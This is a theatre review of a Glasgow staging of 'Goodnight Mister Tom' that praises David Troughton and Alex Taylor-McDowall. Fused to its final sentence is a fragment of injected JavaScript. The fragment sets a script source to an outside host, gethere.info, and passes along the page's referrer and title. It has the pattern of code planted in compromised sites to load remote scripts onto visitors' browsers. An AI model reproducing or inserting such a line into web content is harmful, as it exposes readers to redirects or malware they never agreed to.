By Kim Hume
Having grown up with Michelle Magorian’s Goodnight Mister Tom being one of my all time favourite novels, as well as adoring the Carlton film adaptation, I was thrilled to learn that the theatre production of the story was finally making its way to Glasgow’s Theatre Royal. As ever, I was worried that the actors wouldn’t step up to my high expectations (Nick Robinson from the film adaptation will always be William Beech to me, whatever happened to him?) but the cast certainly didn’t disappoint.
Goodnight Mister Tom is not a light hearted, easy going children’s tale. On the surface, it is simply the story of a young boy evacuated during the Second World War, ending up in the care of a cantankerous old man who, somewhat predictably, eventually softens as a result of the boy’s company. On a deeper level, however, the story’s portrayal of abuse, violence and even death makes it a hard-hitting tale to both read and watch. David Troughton is fantastic in his portrayal of Mr Tom, perfecting the balance between the grumpy man and the approachable grandfather figure. The amount of emotions required in the portrayal of Mr Tom is vast, from moody and irritable to lovable to sheer unadulterated anger at one point, and Troughton succeeds in showing every single emotion immaculately. Alex Taylor-McDowall’s take on William Beech is so flawlessly innocent that the viewer feels raw emotion at the horrific events suffered by the boy in the story, only enhancing the sensitive aspect of an already powerful script. It is a testament to the acting skills of Taylor-McDowall that the story felt so real, especially his interpretation of the touchingly bittersweet ending of the play. This is by no means a feel-good production, however the fantastic cast allow some humorous and heart warming aspects to shine through at the right moments.
It was the small details that really made the production perfect. The eerily realistic puppet dog was very clever, and really added a certain touch of authenticity to the play. The recurring rendition of the song ‘Wish Me Luck (As You Wave Me Goodbye)’ was a strangely optimistic tune for such an intense story, which for me only highlighted the darker aspects of the tale, coming across as quite ominous rather than cheery. The setting itself was modest for such a production, but I felt this added to the humble charm of the play as a whole.
To use a dreaded cliché, Goodnight Mister Tom definitely takes the audience on a rollercoaster of emotions. There is the heart warming aspect of the ever growing relationship between William and Tom, contrasted with the devastating and sometimes disturbing darker aspects of the story. It is certainly a production which demands an emotive response from the audience, whether drawn in to the heart warming aspect or the heart breaking. The production beautifully portrayed every scene in a way which made me laugh, cry and sit in shock in new ways at the same story I have cherished since my childhood.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;